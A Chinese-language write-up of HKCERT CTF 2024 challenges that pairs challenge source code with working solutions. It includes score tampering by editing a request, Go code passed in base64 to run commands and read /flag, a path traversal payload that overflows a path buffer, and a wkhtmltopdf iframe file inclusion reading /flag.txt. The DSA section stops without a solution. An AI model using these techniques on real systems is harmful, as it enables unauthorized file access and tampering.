HKCERTCTF2024

只会签到题

0x01 前言

这周末比赛好多。和哥哥们一起看看

0x02 question

最初的挑戰

直接提交flag就可以了

新免費午餐

我去,这个比赛居然还给wp,貌似是真手把手题目?

看了一下这个游戏是很简单的,但是60S是肯定得不到300分的,所以只能抓包来修改参数

随便玩一次游戏抓包发现是这样子,那么应该是可以篡改的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
POST /update_score.php HTTP/2
Host: c08-new-free-lunch-0.hkcert24.pwnable.hk
Cookie: PHPSESSID=9448dc25a56a476c065fc1484a18cb18
Content-Length: 85
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer 1dcb18b229d0006650c0da3a46fb4c05
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Sec-Ch-Ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://c08-new-free-lunch-0.hkcert24.pwnable.hk
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://c08-new-free-lunch-0.hkcert24.pwnable.hk/game.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i

{"score":3,"hash":"cf15a60bdb67bddc1f6303fcd95cf05fd103eaed81fbd57e627c1134f792472e"}

但是这个hash值不知道怎么改,看看源码

1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
async function endGame() {
            clearInterval(gameInterval);
            clearInterval(timerInterval);
            alert('Game Over! Your score: ' + score);

            const hash = generateHash(secretKey + username + score);

            fetch('/update_score.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Authorization': `Bearer ${token}`
                },
                body: JSON.stringify({
                    score: score,
                    hash: hash
                })
            })

这里直接修改就好了

1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
POST /update_score.php HTTP/2
Host: c08-new-free-lunch-0.hkcert24.pwnable.hk
Cookie: PHPSESSID=9448dc25a56a476c065fc1484a18cb18
Content-Length: 87
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer 1dcb18b229d0006650c0da3a46fb4c05
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Sec-Ch-Ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://c08-new-free-lunch-0.hkcert24.pwnable.hk
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://c08-new-free-lunch-0.hkcert24.pwnable.hk/game.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i

{"score":303,"hash":"d869d6972c9d9c7fb016174fd1821b789b0bffed314cd7b08b305eda7c33f6f8"}

數立僉章寅算法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import os
from Crypto.Util.number import getPrime as get_prime
from Crypto.Util.number import isPrime as is_prime
import secrets
import hashlib

# Computes the inverse of a mod prime p
def inverse(a, p):
    return pow(a, p-2, p)

def hash(m):
    h = hashlib.sha256(m).digest()
    return int.from_bytes(h, 'big')

def generate_parameters():
    # FIPS 186-4 specifies that p and q can be of (2048, 256) bits
    while True:
        q = get_prime(256)
        r = secrets.randbits(2048-256)
        p = r*q + 1
        if p.bit_length() != 2048: continue
        if not is_prime(p): continue
        break
    
    h = 1
    while True:
        h += 1
        g = pow(h, (p-1)//q, p)
        if g == 1: continue
        break

    return p, q, g

def sign(params, x, m):
    p, q, g = params

    k = secrets.randbelow(q)
    r = pow(g, k, p) % q
    s = inverse(k, q) * (hash(m) + x*r) % q

    return (r, s)

def verify(params, y, m, sig):
    p, q, g = params
    r, s = sig

    assert 0 < r < p
    assert 0 < s < p

    w = inverse(s, q)
    u1 = hash(m) * w % q
    u2 = r * w % q
    v = pow(g, u1, p) * pow(y, u2, p) % p % q
    assert v == r


def main():
    # The parameters were generated by generate_parameters(), which will take some time to generate.
    # With that reason, we will use a fixed one instead of a random one.
    p = 17484281359996796703320753329289113133879315487679543624741105110874484027222384531803606958810995970161525595158267517181794414300756262340838882222415769778596720783078367872913954804658072233160036557319401158197234539657653635114116129319712841746177858547689703847179830876938850791424742190500438426350633498257950965188623233005750174576134802300600490139756306854032656842920490457629968890761814183283863329460516285392831741363925618264196019954486854731951282830652117210758060426483125525221398218382779387124491329788662015827601101640859700613929375036792053877746675842421482667089024073397901135900307
    q = 113298192013516195145250438847099037276290008150762924677454979772524099733149
    g = 2240914810379680126339108531401169275595161144670883986559069211999660898639987625873945546061830376966978596453328760234030133281772778843957617704660733666090807506024220142764237508766050356212712228439682713526208998745633642827205871276203625236122884797705545378063530457025121059332887929777555045770309256917282489323413372739717067924463128766609878574952525765509768641958927377639405729673058327662319958260422021309804322093360414034030331866591802559201326691178841972572277227570498592419367302032451643108376739154217604459747574970395332109358575481017157712896404133971465638098583730000464599930248

    print(f'{p = }')
    print(f'{q = }')
    print(f'{g = }')

    x = secrets.randbelow(q)
    y = pow(g, x, p)
    print(f'{y = }')

    m = b'gib flag'

    r = int(input('r = '))
    s = int(input('s = '))

    verify((p, q, g), y, m, (r, s))

    flag = os.getenv('FLAG', 'hkcert24{***REDACTED***}')
    print(flag)

if __name__ == '__main__':
    main()
  1. 签名生成
    • 使用私钥(在这里是随机生成的x)和消息m生成签名(r, s)。
    • 具体过程如下:
      • 生成一个随机数k。
      • 计算r = (g^k mod p) mod q。
      • 计算s = (k^(-1) * (hash(m) + x * r)) mod q。
    • 签名(r, s)由这两个值组成。
  2. 签名验证
    • 使用公钥(y)和消息m来验证签名(r, s)的有效性。
    • 验证过程如下:
      • 计算s的模q的乘法逆元w。
      • 计算u1 = (hash(m) * w) mod q 和 u2 = (r * w) mod q。
      • 计算v = ((g^u1 mod p) * (y^u2 mod p)) mod p mod q。
      • 如果v等于r,则签名有效;否则无效。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os
from Crypto.Util.number import getPrime as get_prime
from Crypto.Util.number import isPrime as is_prime
import secrets
import hashlib

def inverse(a, p):
    # 计算 a 在模 p 下的逆元
    return pow(a, p - 2, p)

def hash(m):
    # 计算消息的 SHA-256 哈希值并返回整数
    h = hashlib.sha256(m).digest()
    return int.from_bytes(h, 'big')

def sign(params, x, m):
    p, q, g = params

    # 随机生成 k 并计算签名
    k = secrets.randbelow(q)
    r = pow(g, k, p) % q
    s = (inverse(k, q) * (hash(m) + x * r)) % q

    print(f'Signing: k={k}, r={r}, s={s}, hash(m)={hash(m)}, x={x}')  # 调试信息

    return (r, s)

def verify(params, y, m, sig):
    p, q, g = params
    r, s = sig

    # 确保 r 和 s 在 (0, q) 范围内
    assert 0 < r < q, f"r={r} is out of range"
    assert 0 < s < q, f"s={s} is out of range"

    # 计算签名的验证值
    w = inverse(s, q)
    u1 = (hash(m) * w) % q
    u2 = (r * w) % q
    v = (pow(g, u1, p) * pow(y, u2, p)) % p % q

    print(f'Verifying: u1={u1}, u2={u2}, v={v}, r={r}')  # 调试信息

    # 进行签名验证
    assert v == r, f"Verification failed: v={v}, r={r}"

def main():
    # 使用固定参数
    p = 17484281359996796703320753329289113133879315487679543624741105110874484027222384531803606958810995970161525595158267517181794414300756262340838882222415769778596720783078367872913954804658072233160036557319401158197234539657653635114116129319712841746177858547689703847179830876938850791424742190500438426350633498257950965188623233005750174576134802300600490139756306854032656842920490457629968890761814183283863329460516285392831741363925618264196019954486854731951282830652117210758060426483125525221398218382779387124491329788662015827601101640859700613929375036792053877746675842421482667089024073397901135900307
    q = 113298192013516195145250438847099037276290008150762924677454979772524099733149
    g = 2240914810379680126339108531401169275595161144670883986559069211999660898639987625873945546061830376966978596453328760234030133281772778843957617704660733666090807506024220142764237508766050356212712228439682713526208998745633642827205871276203625236122884797705545378063530457025121059332887929777555045770309256917282489323413372739717067924463128766609878574952525765509768641958927377639405729673058327662319958260422021309804322093360414034030331866591802559201326691178841972572277227570498592419367302032451643108376739154217604459747574970395332109358575481017157712896404133971465638098583730000464599930248

    x = secrets.randbelow(q)  # 随机生成私钥
    y = pow(g, x, p)  # 计算公钥

    m = b'gib flag'  # 要签名的消息

    # 生成签名
    r, s = sign((p, q, g), x, m)
    print(f'Signature: r = {r}, s = {s}')  # 打印签名

    # 验证签名
    verify((p, q, g), y, m, (r, s))

    # 获取并打印 flag
    flag = os.getenv('FLAG', 'hkcert24{***REDACTED***}')
    print(flag)

if __name__ == '__main__':
    main()

但是k是随机的,这里怎么处理呢

自行取旗

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from base64 import b64decode
from secrets import token_hex
import subprocess
import os
import sys
import tempfile

FLAG = os.environ["FLAG"] if os.environ.get("FLAG") is not None else "hkcert24{test_flag}"

print("Encode your Go program in base64")
code = input(">> ")

with tempfile.TemporaryDirectory() as td:
    fn = token_hex(16)
    src = os.path.join(td, f"{fn}")
    with open(src+".go", "w") as f:
        f.write(b64decode(code).decode())    

    p = subprocess.run(["./fork", "build", "-o", td, src+".go"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # renamed binary
    if p.returncode != 0:
        print(r"Fail to build ¯\_(ツ)_/¯")
        sys.exit(1)

    _ = subprocess.run([src], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    if _.returncode == 0:
        print(r"You can write Go programs with no bugs, but I cannot give you the flag ¯\_(ツ)_/¯")
        sys.exit(1)

    if b"panic" in _.stderr:
        print("I am calm...")
        sys.exit(1)

    print(f"You are an experienced Go developer, here's your flag: {FLAG}")
    sys.exit(1)

看了一下代码可以把go程序的进行base64编码传入让他任意执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package main

import (
"fmt"
"log"
"os/exec"
)

func main() {
	cmd := exec.Command("ls", "-l", "./")
	out, err := cmd.CombinedOutput()
	if err != nil {
        fmt.Printf("combined out:\n%s\n", string(out))
		log.Fatalf("cmd.Run() failed with %s\n", err)
	}
	fmt.Printf("combined out:\n%s\n", string(out))
}

1

安装环境之后测试没有问题

然后写个查看flag的编码即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package main

import (
"fmt"
"log"
"os/exec"
)

func main() {
        cmd := exec.Command("tac", "/flag")
        out, err := cmd.CombinedOutput()
        if err != nil {
        fmt.Printf("combined out:\n%s\n", string(out))
                log.Fatalf("cmd.Run() failed with %s\n", err)
        }
        fmt.Printf("combined out:\n%s\n", string(out))
}
1
cGFja2FnZSBtYWluDQoNCmltcG9ydCAoDQoiZm10Ig0KImxvZyINCiJvcy9leGVjIg0KKQ0KDQpmdW5jIG1haW4oKSB7DQogICAgICAgIGNtZCA6PSBleGVjLkNvbW1hbmQoInRhYyIsICIvZmxhZyIpDQogICAgICAgIG91dCwgZXJyIDo9IGNtZC5Db21iaW5lZE91dHB1dCgpDQogICAgICAgIGlmIGVyciAhPSBuaWwgew0KICAgICAgICBmbXQuUHJpbnRmKCJjb21iaW5lZCBvdXQ6XG4lc1xuIiwgc3RyaW5nKG91dCkpDQogICAgICAgICAgICAgICAgbG9nLkZhdGFsZigiY21kLlJ1bigpIGZhaWxlZCB3aXRoICVzXG4iLCBlcnIpDQogICAgICAgIH0NCiAgICAgICAgZm10LlByaW50ZigiY29tYmluZWQgb3V0OlxuJXNcbiIsIHN0cmluZyhvdXQpKQ0KfQ==

已知用火 (1)

有源码,进来我先看dockerfile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
FROM ubuntu:jammy-20240911.1

WORKDIR /app

ENV DEBIAN_FRONTEND noninteractive

RUN apt update

RUN apt -y install gcc

COPY ./src .

COPY ./flag.txt /flag.txt

RUN gcc server.c -o server

RUN useradd -ms /bin/bash www

USER www

ENTRYPOINT ["/app/server"]

一看就是在server.c里面了

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>

#define PORT 8000
#define BUFFER_SIZE 1024

typedef struct {
    char *content;
    int size;
} FileWithSize;

bool ends_with(char *text, char *suffix) {
    int text_length = strlen(text);
    int suffix_length = strlen(suffix);

    return text_length >= suffix_length && \
           strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}

FileWithSize *read_file(char *filename) {
    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;

    char real_path[BUFFER_SIZE];
    snprintf(real_path, sizeof(real_path), "public/%s", filename);

    FILE *fd = fopen(real_path, "r");
    if (!fd) return NULL;

    fseek(fd, 0, SEEK_END);
    long filesize = ftell(fd);
    fseek(fd, 0, SEEK_SET);

    char *content = malloc(filesize + 1);
    if (!content) return NULL;

    fread(content, 1, filesize, fd);
    content[filesize] = '\0';

    fclose(fd);

    FileWithSize *file = malloc(sizeof(FileWithSize));
    file->content = content;
    file->size = filesize;
 
    return file;
}

void build_response(int socket_id, int status_code, char* status_description, FileWithSize *file) {
    char *response_body_fmt = 
        "HTTP/1.1 %u %s\r\n"
        "Server: mystiz-web/1.0.0\r\n"
        "Content-Type: text/html\r\n"
        "Connection: %s\r\n"
        "Content-Length: %u\r\n"
        "\r\n";
    char response_body[BUFFER_SIZE];

    sprintf(response_body,
            response_body_fmt,
            status_code,
            status_description,
            status_code == 200 ? "keep-alive" : "close",
            file->size);
    write(socket_id, response_body, strlen(response_body));
    write(socket_id, file->content, file->size);
    free(file->content);
    free(file);
    return;
}

void handle_client(int socket_id) {
    char buffer[BUFFER_SIZE];
    char requested_filename[BUFFER_SIZE];

    while (1) {
        memset(buffer, 0, sizeof(buffer));
        memset(requested_filename, 0, sizeof(requested_filename));

        if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;

        if (sscanf(buffer, "GET /%s", requested_filename) != 1)
            return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));

        FileWithSize *file = read_file(requested_filename);
        if (!file)
            return build_response(socket_id, 404, "Not Found", read_file("404.html"));

        build_response(socket_id, 200, "OK", file);
    }
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    struct sockaddr_in server_address;
    struct sockaddr_in client_address;

    int socket_id = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_address.sin_port = htons(PORT);

    if (bind(socket_id, (struct sockaddr*)&server_address, sizeof(server_address)) == -1) exit(1);
    if (listen(socket_id, 5) < 0) exit(1);

    while (1) {
        int client_address_len;
        int new_socket_id = accept(socket_id, (struct sockaddr *)&client_address, (socklen_t*)&client_address_len);
        if (new_socket_id < 0) exit(1);
        int pid = fork();
        if (pid == 0) {
            handle_client(new_socket_id);
            close(new_socket_id);
        }
    }
}

先慢慢看代码

1
2
3
4
5
6
7
bool ends_with(char *text, char *suffix) {
    int text_length = strlen(text);
    int suffix_length = strlen(suffix);

    return text_length >= suffix_length && \
           strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}

检查text后缀是否是suffix

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
FileWithSize *read_file(char *filename) {
    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;

    char real_path[BUFFER_SIZE];
    snprintf(real_path, sizeof(real_path), "public/%s", filename);

    FILE *fd = fopen(real_path, "r");
    if (!fd) return NULL;

    fseek(fd, 0, SEEK_END);
    long filesize = ftell(fd);
    fseek(fd, 0, SEEK_SET);

    char *content = malloc(filesize + 1);
    if (!content) return NULL;

    fread(content, 1, filesize, fd);
    content[filesize] = '\0';

    fclose(fd);

    FileWithSize *file = malloc(sizeof(FileWithSize));
    file->content = content;
    file->size = filesize;
 
    return file;
}

读取文件内容,但是有一些限制,并且是把文件存在public下面的

那么看完整个代码就觉得这里会有路径穿越导致能够直接读取

我们知道在根目录之后就是继续回退也是在根目录

1
cat /../../../../../../../../../../../../../../../etc/../etc/../flag

1

类似的就可以直接去读取了

1
/../../../../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../flag

这样子本身去读是没有问题的,但是尝试了一下发现读不出来会跳转404

1
/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt.js

而为什么是这个payload呢原因在于这里

1

这里要让他溢出使得能够读取文件那么要让1024溢出,我们这里一看是倍数的并且能够目录穿越的也只有1024了,或者说我们随便试试1008

1

不够,下次倍数刚好能够溢出

1

再写倍数的话1072也不行所以就只有那一个poc可以打通

PDF 生成器(1)

下载好附件之后一进来就看到了模版渲染

excute_command.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Thanks LLM, I am a full-stack python programmer with security in mind now!
# https://poe.com/s/wuK3sK1GFql2Ay3A8EfO

import subprocess
import shlex

def execute_command(command):
    """
    Execute an external OS program securely with the provided command.

    Args:
        command (str): The command to execute.

    Returns:
        tuple: (stdout, stderr, return_code)
    """
    # Split the command into arguments safely
    args = shlex.split(command)

    try:
        # Execute the command and capture the output
        result = subprocess.run(
            args,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
            check=True  # Raises CalledProcessError for non-zero exit codes
        )
        return result.stdout, result.stderr, result.returncode
    except subprocess.CalledProcessError as e:
        # Return the error output and return code if command fails
        return e.stdout, e.stderr, e.returncode

# Example usage
if __name__ == "__main__":
    command = "ls -l"  # Replace with your command
    stdout, stderr, return_code = execute_command(command)
    print("STDOUT:", stdout)
    print("STDERR:", stderr)
    print("Return Code:", return_code)

main.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from flask import Flask, request, make_response, redirect, render_template_string
import uuid
import requests
from execute_command import execute_command

app = Flask(__name__, static_folder='')

@app.route('/', methods=['GET'])
def index():
    # HTML template for the form
    FORM_TEMPLATE = '''
    <!doctype html>
    <html>
    <head><title>Webpage to PDF</title></head>
    <body>
        <h1>Webpage to PDF</h1>
        <form action="{{ url_for('process_url') }}" method="post">
            <label for="url">Enter URL:</label>
            <input type="url" id="url" name="url" required>
            <button type="submit">Submit</button>
        </form>
    </body>
    </html>
    '''

    response = make_response(render_template_string(FORM_TEMPLATE))

    # Generate a session ID if it doesn't exist
    session_id = request.cookies.get('session_id')
    if not session_id:
        session_id = str(uuid.uuid4())
        response.set_cookie('session_id', session_id)

    return response

@app.route('/process', methods=['POST'])
def process_url():
    # Get the session ID of the user
    session_id = request.cookies.get('session_id')
    html_file = f"{session_id}.html"
    pdf_file = f"{session_id}.pdf"

    # Get the URL from the form
    url = request.form['url']
    
    # Download the webpage
    response = requests.get(url)
    response.raise_for_status()

    with open(html_file, 'w') as file:
        file.write(response.text)

    # Make PDF
    stdout, stderr, returncode = execute_command(f'wkhtmltopdf {html_file} {pdf_file}')

    if returncode != 0:
        return f"""
        <h1>Error</h1>
        <pre>{stdout}</pre>
        <pre>{stderr}</pre>
        """
        
    return redirect(pdf_file)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

首先我们看命令执行函数就是做了一个检查然后就进行命令执行了,所以本地测试的时候是可以直接执行的

1

1

看到了很多session_id,如果生成了PDF会直接跳转到PDF如果没有的话会直接跳转到process

我们使用

1
url=https://example.com/

发现生成成功了,观察这个PDF,代码里面说了是用wkhtmltopdf来生成,我们现在再看看

再多次尝试发现,文件名都是session_id,而且是 wkhtmltopdf 0.12.5来生成的

1

搜索一下发现姿势

1
https://www.virtuesecurity.com/kb/wkhtmltopdf-file-inclusion-vulnerability-2/

1

随便写个html

1

那直接用file协议读就可以了

1
2
<h1>Hello world!</h1>
<iframe src="file:///flag.txt" height="500" width="500">

结果失败了,原来网站处理的是这样子

1
wkhtmltopdf {session_id}.html {session_id}.pdf

这里我们要访问本地需要加一个参数

1
Warning: Blocked access to file /flag.txt 

搜索就可以得到

1
--enable-local-file-access

要加上这个参数(这个不用说吧

1

0x03 小结

这个比赛非常有新意,RE的哥哥几乎就要A了,哎我什么时候能做这么大的贡献呢

Licensed under CC BY-NC-SA 4.0